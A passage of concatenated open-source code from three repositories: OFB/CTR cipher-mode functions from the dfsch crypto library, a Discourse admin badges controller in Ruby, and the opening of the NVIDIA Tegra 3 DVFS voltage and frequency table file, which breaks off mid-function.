block_stream_mode_t* bs = dfsch_make_object(DFSCH_BLOCK_STREAM_MODE_TYPE);
bs->parent.name = dfsch_saprintf("%s in OFB mode",
cipher->name);
bs->parent.type.name = dfsch_saprintf("%s-ofb", cipher->type.name);
bs->parent.type.size = sizeof(block_stream_context_t);
bs->parent.setup = bs_ofb_setup;
bs->parent.encrypt_bytes = bs_ofb_encrypt_bytes;
return bs;
}
static void bs_ctr_setup(block_stream_context_t* ctx,
uint8_t *key,
size_t keylen,
uint8_t *nonce,
size_t nonce_len){
if (nonce_len != ctx->mode->cipher->block_size){
dfsch_error("Nonce for OFB mode must be same size as cipher's block",
NULL);
}
ctx->cipher = dfsch_setup_block_cipher(ctx->mode->cipher, key, keylen);
ctx->next_input = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->last_output = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->output_offset = ctx->mode->cipher->block_size;
ctx->output_size = ctx->mode->cipher->block_size;
memcpy(ctx->next_input, nonce, ctx->output_size);
}
static void bs_ctr_encrypt_bytes(block_stream_context_t* ctx,
uint8_t* out,
size_t outlen){
int i;
while (outlen){
if (ctx->output_offset >= ctx->output_size){
ctx->cipher->cipher->encrypt(ctx->cipher,
ctx->next_input,
ctx->last_output);
for (i = 0; i < ctx->output_size; i++){
ctx->next_input[i]++;
if (ctx->next_input[i] != 0){
break;
}
}
ctx->output_offset = 0;
}
*out ^= ctx->last_output[ctx->output_offset];
ctx->output_offset++;
out++;
outlen--;
}
}
dfsch_stream_cipher_t* dfsch_make_ctr_cipher(dfsch_block_cipher_t* cipher){
block_stream_mode_t* bs = dfsch_make_object(DFSCH_BLOCK_STREAM_MODE_TYPE);
bs->parent.name = dfsch_saprintf("%s in CTR mode",
cipher->name);
bs->parent.type.name = dfsch_saprintf("%s-ctr", cipher->type.name);
bs->parent.type.size = sizeof(block_stream_context_t);
bs->parent.setup = bs_ctr_setup;
bs->parent.encrypt_bytes = bs_ctr_encrypt_bytes;
return bs;
}
| adh/dfsch | lib/crypto/modes.c | C | gpl-2.0 | 12,669 |
class Admin::BadgesController < Admin::AdminController
def badge_types
badge_types = BadgeType.all.to_a
render_serialized(badge_types, BadgeTypeSerializer, root: "badge_types")
end
def create
badge = Badge.new
update_badge_from_params(badge)
badge.save!
render_serialized(badge, BadgeSerializer, root: "badge")
end
def update
badge = find_badge
update_badge_from_params(badge)
badge.save!
render_serialized(badge, BadgeSerializer, root: "badge")
end
def destroy
find_badge.destroy
render nothing: true
end
private
def find_badge
params.require(:id)
Badge.find(params[:id])
end
def update_badge_from_params(badge)
params.permit(:name, :description, :badge_type_id, :allow_title, :multiple_grant)
badge.name = params[:name]
badge.description = params[:description]
badge.badge_type = BadgeType.find(params[:badge_type_id])
badge.allow_title = params[:allow_title]
badge.multiple_grant = params[:multiple_grant]
badge.icon = params[:icon]
badge
end
end
| vipuldadhich/discourse | app/controllers/admin/badges_controller.rb | Ruby | gpl-2.0 | 1,097 |
/*
* arch/arm/mach-tegra/tegra3_dvfs.c
*
* Copyright (C) 2010-2011 NVIDIA Corporation.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/module.h>
#include <linux/clk.h>
#include <linux/kobject.h>
#include <linux/err.h>
#include "clock.h"
#include "dvfs.h"
#include "fuse.h"
#include "board.h"
#include "tegra3_emc.h"
static bool tegra_dvfs_cpu_disabled;
static bool tegra_dvfs_core_disabled;
static struct dvfs *cpu_dvfs;
static const int cpu_millivolts[MAX_DVFS_FREQS] = {
750, 800, 825, 850, 875, 900, 950, 975, 1000, 1025, 1050, 1100, 1200, 1275, 1275, 1275, 1300, 1325};
//750, 800, 825, 850, 875, 912, 975, 1000, 1025, 1050, 1075, 1100, 1150, 1200, 1212, 1225, 1250, 1300};
static const unsigned int cpu_cold_offs_mhz[MAX_DVFS_FREQS] = {
50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50};
static const int core_millivolts[MAX_DVFS_FREQS] = {
900, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350};
#define KHZ 1000
#define MHZ 1000000
/* VDD_CPU >= (VDD_CORE - cpu_below_core) */
/* VDD_CORE >= min_level(VDD_CPU), see tegra3_get_core_floor_mv() below */
#define VDD_CPU_BELOW_VDD_CORE 300
static int cpu_below_core = VDD_CPU_BELOW_VDD_CORE;
#define VDD_SAFE_STEP 100
static struct dvfs_rail tegra3_dvfs_rail_vdd_cpu = {
.reg_id = "vdd_cpu",
.max_millivolts = 1300,
.min_millivolts = 750,
.step = VDD_SAFE_STEP,
.jmp_to_zero = true,
};
static struct dvfs_rail tegra3_dvfs_rail_vdd_core = {
.reg_id = "vdd_core",
.max_millivolts = 1350,
.min_millivolts = 900,
.step = VDD_SAFE_STEP,
};
static struct dvfs_rail *tegra3_dvfs_rails[] = {
&tegra3_dvfs_rail_vdd_cpu,
&tegra3_dvfs_rail_vdd_core,
};
static int tegra3_get_core_floor_mv(int cpu_mv)
{
if (cpu_mv < 800)
return 950;
if (cpu_mv < 900)
return 1000;
if (cpu_mv < 1000)
return 1100;
if ((tegra_cpu_speedo_id() < 2) ||
(tegra_cpu_speedo_id() == 4) ||
(tegra_cpu_speedo_id() == 7) ||
(tegra_cpu_speedo_id() == 8))
return 1200;
if (cpu_mv < 1100)
return 1200;
if (cpu_mv <= 1250)
return 1300;
BUG();
}
/* vdd_core must be >= min_level as a function of vdd_cpu */
static int tegra3_dvfs_rel_vdd_cpu_vdd_core(struct dvfs_rail *vdd_cpu,
struct dvfs_rail *vdd_core)
{
int core_floor = max(vdd_cpu->new_millivolts, vdd_cpu->millivolts);
core_floor = tegra3_get_core_floor_mv(core_floor);
return max(vdd_core->new_millivolts, core_floor);
}
/* vdd_cpu must be >= (vdd_core - cpu_below_core) */
static int tegra3_dvfs_rel_vdd_core_vdd_cpu(struct dvfs_rail *vdd_core,
struct dvfs_rail *vdd_cpu)
{
int cpu_floor;
if (vdd_cpu->new_millivolts == 0)
return 0; /* If G CPU is off, core relations can be ignored */
cpu_floor = max(vdd_core->new_millivolts, vdd_core->millivolts) -
cpu_below_core;
return max(vdd_cpu->new_millivolts, cpu_floor);
}
static struct dvfs_relationship tegra3_dvfs_relationships[] = {
{
.from = &tegra3_dvfs_rail_vdd_cpu,
.to = &tegra3_dvfs_rail_vdd_core,
.solve = tegra3_dvfs_rel_vdd_cpu_vdd_core,
.solved_at_nominal = true,
},
{
.from = &tegra3_dvfs_rail_vdd_core,
.to = &tegra3_dvfs_rail_vdd_cpu,
.solve = tegra3_dvfs_rel_vdd_core_vdd_cpu,
},
};
#define CPU_DVFS(_clk_name, _speedo_id, _process_id, _mult, _freqs...) \
{ \
.clk_name = _clk_name, \
.speedo_id = _speedo_id, \
.process_id = _process_id, \
.freqs = {_freqs}, \
.freqs_mult = _mult, \
.millivolts = cpu_millivolts, \
.auto_dvfs = true, \
.dvfs_rail = &tegra3_dvfs_rail_vdd_cpu, \
}
static struct dvfs cpu_dvfs_table[] = {
/* Cpu voltages (mV): 800, 825, 850, 875, 900, 912, 975, 1000, 1025, 1050, 1075, 1100, 1125, 1150, 1175, 1200, 1212, 1237 */
CPU_DVFS("cpu_g", 0, 0, MHZ, 1, 1, 684, 684, 817, 817, 1026, 1102, 1149, 1187, 1225, 1282, 1300),
CPU_DVFS("cpu_g", 0, 1, MHZ, 1, 1, 807, 807, 948, 948, 1117, 1171, 1206, 1300),
CPU_DVFS("cpu_g", 0, 2, MHZ, 1, 1, 883, 883, 1039, 1039, 1178, 1206, 1300),
CPU_DVFS("cpu_g", 0, 3, MHZ, 1, 1, 931, 931, 1102, 1102, 1216, 1300),
CPU_DVFS("cpu_g", 1, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1280, 1300),
CPU_DVFS("cpu_g", 1, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1300),
CPU_DVFS("cpu_g", 1, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1300),
CPU_DVFS("cpu_g", 1, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1300),
CPU_DVFS("cpu_g", 2, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1400),
CPU_DVFS("cpu_g", 2, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 2, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 3, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1400),
CPU_DVFS("cpu_g", 3, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 3, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1300, 1350, 1400),
CPU_DVFS("cpu_g", 7, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1240, 1280, 1320, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 7, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1480, 1500, 1600),
CPU_DVFS("cpu_g", 5, 2, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1540, 1600, 1650, 1700),
CPU_DVFS("cpu_g", 5, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 5, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 6, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 6, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 4, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1240, 1280, 1320, 1360, 1600),
CPU_DVFS("cpu_g", 4, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1250, 1300, 1330, 1360, 1500, 1600),
CPU_DVFS("cpu_g", 4, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1280, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 4, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1270, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 4, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1300, 1340, 1480, 1600),
CPU_DVFS("cpu_g", 8, 0, MHZ, 460, 460, 550, 550, 680, 680, 820, 970, 1040, 1080, 1150, 1200, 1280, 1300),
CPU_DVFS("cpu_g", 8, 1, MHZ, 480, 480, 650, 650, 780, 780, 990, 1040, 1100, 1200, 1300),
CPU_DVFS("cpu_g", 8, 2, MHZ, 520, 520, 700, 700, 860, 860, 1050, 1150, 1200, 1300),
CPU_DVFS("cpu_g", 8, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1300),
CPU_DVFS("cpu_g", 8, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1300),
CPU_DVFS("cpu_g", 9, -1, MHZ, 1, 1, 1, 1, 1, 900, 900, 900, 900, 900, 900, 900, 900, 900),
CPU_DVFS("cpu_g", 10, -1, MHZ, 1, 1, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900, 900),
CPU_DVFS("cpu_g", 11, -1, MHZ, 1, 1, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600, 600),
CPU_DVFS("cpu_g", 12, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 12, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
CPU_DVFS("cpu_g", 13, 3, MHZ, 550, 550, 770, 770, 910, 910, 1150, 1230, 1280, 1330, 1370, 1400, 1470, 1500, 1500, 1540, 1540, 1700),
CPU_DVFS("cpu_g", 13, 4, MHZ, 550, 550, 770, 770, 940, 940, 1160, 1240, 1280, 1360, 1390, 1470, 1500, 1520, 1520, 1590, 1700),
/*
* "Safe entry" to be used when no match for chip speedo, process
* corner is found (just to boot at low rate); must be the last one
*/
CPU_DVFS("cpu_g", -1, -1, MHZ, 1, 1, 216, 216, 300),
};
#define CORE_DVFS(_clk_name, _speedo_id, _auto, _mult, _freqs...) \
{ \
.clk_name = _clk_name, \
.speedo_id = _speedo_id, \
.process_id = -1, \
.freqs = {_freqs}, \
.freqs_mult = _mult, \
.millivolts = core_millivolts, \
.auto_dvfs = _auto, \
.dvfs_rail = &tegra3_dvfs_rail_vdd_core, \
}
static struct dvfs core_dvfs_table[] = {
/* Core voltages (mV): 950, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350 */
/* Clock limits for internal blocks, PLLs */
CORE_DVFS("cpu_lp", 0, 1, KHZ, 1, 294000, 342000, 427000, 475000, 500000, 500000, 500000, 500000),
CORE_DVFS("cpu_lp", 1, 1, KHZ, 204000, 294000, 342000, 427000, 475000, 500000, 500000, 500000, 500000),
CORE_DVFS("cpu_lp", 2, 1, KHZ, 204000, 295000, 370000, 428000, 475000, 513000, 579000, 620000, 620000),
CORE_DVFS("cpu_lp", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 450000, 450000, 450000),
CORE_DVFS("emc", 0, 1, KHZ, 1, 266500, 266500, 266500, 266500, 533000, 533000, 533000, 533000),
CORE_DVFS("emc", 1, 1, KHZ, 102000, 408000, 408000, 408000, 416000, 750000, 750000, 750000, 750000),
CORE_DVFS("emc", 2, 1, KHZ, 102000, 408000, 408000, 408000, 416000, 750000, 750000, 800000, 900000),
CORE_DVFS("emc", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 625000, 625000, 625000),
CORE_DVFS("sbus", 0, 1, KHZ, 1, 136000, 164000, 191000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("sbus", 1, 1, KHZ, 51000, 205000, 205000, 227000, 227000, 267000, 267000, 267000, 267000),
CORE_DVFS("sbus", 2, 1, KHZ, 51000, 205000, 205000, 227000, 227000, 267000, 334000, 334000, 334000),
CORE_DVFS("sbus", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 378000, 378000, 378000),
CORE_DVFS("vi", 0, 1, KHZ, 1, 216000, 285000, 300000, 300000, 300000, 300000, 300000, 300000),
CORE_DVFS("vi", 1, 1, KHZ, 1, 216000, 267000, 300000, 371000, 409000, 409000, 409000, 409000),
CORE_DVFS("vi", 2, 1, KHZ, 1, 219000, 267000, 300000, 371000, 409000, 425000, 425000, 425000),
CORE_DVFS("vi", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 470000, 470000, 470000),
CORE_DVFS("vde", 0, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("mpe", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("2d", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("epp", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("3d", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("3d2", 0, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("se", 0, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("vde", 1, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 484000, 520000, 666000),
CORE_DVFS("mpe", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("2d", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("epp", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("3d", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("3d2", 1, 1, KHZ, 1, 234000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("se", 1, 1, KHZ, 1, 267000, 285000, 332000, 380000, 416000, 484000, 484000, 484000),
CORE_DVFS("vde", 2, 1, KHZ, 1, 247000, 304000, 352000, 400000, 437000, 484000, 520000, 600000),
CORE_DVFS("mpe", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("2d", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("epp", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("3d", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("3d2", 2, 1, KHZ, 1, 247000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("se", 2, 1, KHZ, 1, 267000, 304000, 361000, 408000, 446000, 484000, 520000, 600000),
CORE_DVFS("vde", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("mpe", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("2d", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("epp", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("3d", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("3d2", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 484000, 484000, 484000),
CORE_DVFS("se", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 625000, 625000, 625000),
CORE_DVFS("host1x", 0, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 267000),
CORE_DVFS("host1x", 1, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 267000),
CORE_DVFS("host1x", 2, 1, KHZ, 1, 152000, 188000, 222000, 254000, 267000, 267000, 267000, 300000),
CORE_DVFS("host1x", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 242000, 242000, 242000),
CORE_DVFS("cbus", 0, 1, KHZ, 1, 228000, 275000, 332000, 380000, 416000, 416000, 416000, 416000),
CORE_DVFS("cbus", 1, 1, KHZ, 1, 267000, 304000, 380000, 416000, 484000, 484000, 484000, 484000),
CORE_DVFS("cbus", 2, 1, KHZ, 1, 247000, 304000, 352000, 400000, 437000, 484000, 520000, 600000),
CORE_DVFS("cbus", 3, 1, KHZ, 1, 484000, 484000, 484000, 484000, 484000, 484000, 484000, 484000),
CORE_DVFS("pll_c", -1, 1, KHZ, 533000, 667000, 667000, 800000, 800000, 1066000, 1066000, 1066000, 1200000),
/*
* PLLM dvfs is common across all speedo IDs with one special exception
* for T30 and T33, rev A02+, provided PLLM usage is restricted. Both
* common and restricted table are included, and table selection is
* handled by is_pllm_dvfs() below.
*/
CORE_DVFS("pll_m", -1, 1, KHZ, 533000, 667000, 667000, 800000, 800000, 1066000, 1066000, 1066000, 1066000),
#ifdef CONFIG_TEGRA_PLLM_RESTRICTED
CORE_DVFS("pll_m", 2, 1, KHZ, 533000, 800000, 800000, 800000, 800000, 1066000, 1066000, 1066000, 1066000),
#endif
/* Core voltages (mV): 950, 1000, 1050, 1100, 1150, 1200, 1250, 1300, 1350 */
/* Clock limits for I/O peripherals */
CORE_DVFS("mipi", 0, 1, KHZ, 1, 1, 1, 1, 1, 1, 1, 1, 1),
CORE_DVFS("mipi", 1, 1, KHZ, 1, 1, 1, 1, 1, 60000, 60000, 60000, 60000),
CORE_DVFS("mipi", 2, 1, KHZ, 1, 1, 1, 1, 1, 60000, 60000, 60000, 60000),
CORE_DVFS("mipi", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 1, 1, 1),
CORE_DVFS("fuse_burn", -1, 1, KHZ, 1, 1, 1, 1, 26000, 26000, 26000, 26000, 26000),
CORE_DVFS("sdmmc1", -1, 1, KHZ, 104000, 104000, 104000, 104000, 104000, 208000, 208000, 208000, 208000),
CORE_DVFS("sdmmc3", -1, 1, KHZ, 104000, 104000, 104000, 104000, 104000, 208000, 208000, 208000, 208000),
CORE_DVFS("ndflash", -1, 1, KHZ, 1, 120000, 120000, 120000, 200000, 200000, 200000, 200000, 200000),
CORE_DVFS("nor", 0, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 1, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 2, 1, KHZ, 1, 115000, 130000, 130000, 133000, 133000, 133000, 133000, 133000),
CORE_DVFS("nor", 3, 1, KHZ, 1, 1, 1, 1, 1, 1, 108000, 108000, 108000),
CORE_DVFS("sbc1", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc2", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc3", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc4", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc5", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("sbc6", -1, 1, KHZ, 1, 52000, 60000, 60000, 60000, 100000, 100000, 100000, 100000),
CORE_DVFS("usbd", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("usb2", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("usb3", -1, 1, KHZ, 1, 480000, 480000, 480000, 480000, 480000, 480000, 480000, 480000),
CORE_DVFS("sata", -1, 1, KHZ, 1, 216000, 216000, 216000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("sata_oob", -1, 1, KHZ, 1, 216000, 216000, 216000, 216000, 216000, 216000, 216000, 216000),
CORE_DVFS("pcie", -1, 1, KHZ, 1, 250000, 250000, 250000, 250000, 250000, 250000, 250000, 250000),
CORE_DVFS("afi", -1, 1, KHZ, 1, 250000, 250000, 250000, 250000, 250000, 250000, 250000, 250000),
CORE_DVFS("pll_e", -1, 1, KHZ, 1, 100000, 100000, 100000, 100000, 100000, 100000, 100000, 100000),
CORE_DVFS("tvdac", -1, 1, KHZ, 1, 220000, 220000, 220000, 220000, 220000, 220000, 220000, 220000),
CORE_DVFS("tvo", -1, 1, KHZ, 1, 1, 297000, 297000, 297000, 297000, 297000, 297000, 297000),
CORE_DVFS("cve", -1, 1, KHZ, 1, 1, 297000, 297000, 297000, 297000, 297000, 297000, 297000),
CORE_DVFS("dsia", -1, 1, KHZ, 1, 275000, 275000, 275000, 275000, 275000, 275000, 275000, 275000),
CORE_DVFS("dsib", -1, 1, KHZ, 1, 275000, 275000, 275000, 275000, 275000, 275000, 275000, 275000),
CORE_DVFS("hdmi", -1, 1, KHZ, 1, 148500, 148500, 148500, 148500, 148500, 148500, 148500, 148500),
/*
* The clock rate for the display controllers that determines the
* necessary core voltage depends on a divider that is internal
* to the display block. Disable auto-dvfs on the display clocks,
* and let the display driver call tegra_dvfs_set_rate manually
*/
CORE_DVFS("disp1", 0, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp1", 1, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp1", 2, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp1", 3, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp2", 0, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("disp2", 1, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp2", 2, 0, KHZ, 1, 155000, 268000, 268000, 268000, 268000, 268000, 268000, 268000),
CORE_DVFS("disp2", 3, 0, KHZ, 1, 120000, 120000, 120000, 120000, 190000, 190000, 190000, 190000),
CORE_DVFS("pwm", -1, 1, KHZ, 1, 408000, 408000, 408000, 408000, 408000, 408000, 408000, 408000),
CORE_DVFS("spdif_out", -1, 1, KHZ, 1, 26000, 26000, 26000, 26000, 26000, 26000, 26000, 26000),
};
int tegra_dvfs_disable_core_set(const char *arg, const struct kernel_param *kp)
{
int ret;
ret = param_set_bool(arg, kp);
if (ret)
return ret;
if (tegra_dvfs_core_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_core);
else
tegra_dvfs_rail_enable(&tegra3_dvfs_rail_vdd_core);
return 0;
}
int tegra_dvfs_disable_cpu_set(const char *arg, const struct kernel_param *kp)
{
int ret;
ret = param_set_bool(arg, kp);
if (ret)
return ret;
if (tegra_dvfs_cpu_disabled)
tegra_dvfs_rail_disable(&tegra3_dvfs_rail_vdd_cpu);
else
tegra_dvfs_rail_enable(&tegra3_dvfs_rail_vdd_cpu);
return 0;
}
int tegra_dvfs_disable_get(char *buffer, const struct kernel_param *kp)
{
return param_get_bool(buffer, kp);
}
static struct kernel_param_ops tegra_dvfs_disable_core_ops = {
.set = tegra_dvfs_disable_core_set,
.get = tegra_dvfs_disable_get,
};
static struct kernel_param_ops tegra_dvfs_disable_cpu_ops = {
.set = tegra_dvfs_disable_cpu_set,
.get = tegra_dvfs_disable_get,
};
module_param_cb(disable_core, &tegra_dvfs_disable_core_ops,
&tegra_dvfs_core_disabled, 0644);
module_param_cb(disable_cpu, &tegra_dvfs_disable_cpu_ops,
&tegra_dvfs_cpu_disabled, 0644);
static bool __init is_pllm_dvfs(struct clk *c, struct dvfs *d)
{
#ifdef CONFIG_TEGRA_PLLM_RESTRICTED
/* Do not apply common PLLM dvfs table on T30, T33, T37 rev A02+ and
do not apply restricted PLLM dvfs table for other SKUs/revs */
int cpu = tegra_cpu_speedo_id();
if (((cpu == 2) || (cpu == 5) || (cpu == 13)) ==
(d->speedo_id == -1))
return false;
#endif
/* Check if PLLM boot frequency can be applied to clock tree at
minimum voltage. If yes, no need to enable dvfs on PLLM */
if (clk_get_rate_all_locked(c) <= d->freqs[0] * d->freqs_mult)
return false;
return true;
}
static void __init init_dvfs_one(struct dvfs *d, int nominal_mv_index)
{
int ret;
struct clk *c = tegra_get_clock_by_name(d->clk_name);
if (!c) {
pr_debug("tegra3_dvfs: no clock found for %s\n",
d->clk_name);
return;
}
/*
* Update max rate for auto-dvfs clocks, except EMC.
* EMC is a special case, since EMC dvfs is board dependent: max rate
* and EMC scaling frequencies are determined by tegra BCT (flashed
* together with the image) and board specific EMC DFS table; we will
* check the scaling ladder against nominal core voltage when the table
* is loaded (and if on particular board the table is not loaded, EMC
* scaling is disabled).
*/
if (!(c->flags & PERIPH_EMC_ENB) && d->auto_dvfs) {
BUG_ON(!d->freqs[nominal_mv_index]);
tegra_init_max_rate(
c, d->freqs[nominal_mv_index] * d->freqs_mult);
}
d->max_millivolts = d->dvfs_rail->nominal_millivolts;
/*
* Check if we may skip enabling dvfs on PLLM. PLLM is a special case,
* since its frequency never exceeds boot rate, and configuration with
* restricted PLLM usage is possible.
*/
if (!(c->flags & PLLM) || is_pllm_dvfs(c, d)) {
ret = tegra_enable_dvfs_on_clk(c, d);
if (ret)
pr_err("tegra3_dvfs: failed to enable dvfs on %s\n",
c->name);
}
}
static void __init init_dvfs_cold(struct dvfs *d, int nominal_mv_index)
{
int i;
unsigned long offs;
BUG_ON((nominal_mv_index == 0) || (nominal_mv_index > d->num_freqs));
for (i = 0; i < d->num_freqs; i++) {
offs = cpu_cold_offs_mhz[i] * MHZ;
if (i > nominal_mv_index)
d->alt_freqs[i] = d->alt_freqs[i - 1];
else if (d->freqs[i] > offs)
d->alt_freqs[i] = d->freqs[i] - offs;
else {
d->alt_freqs[i] = d->freqs[i];
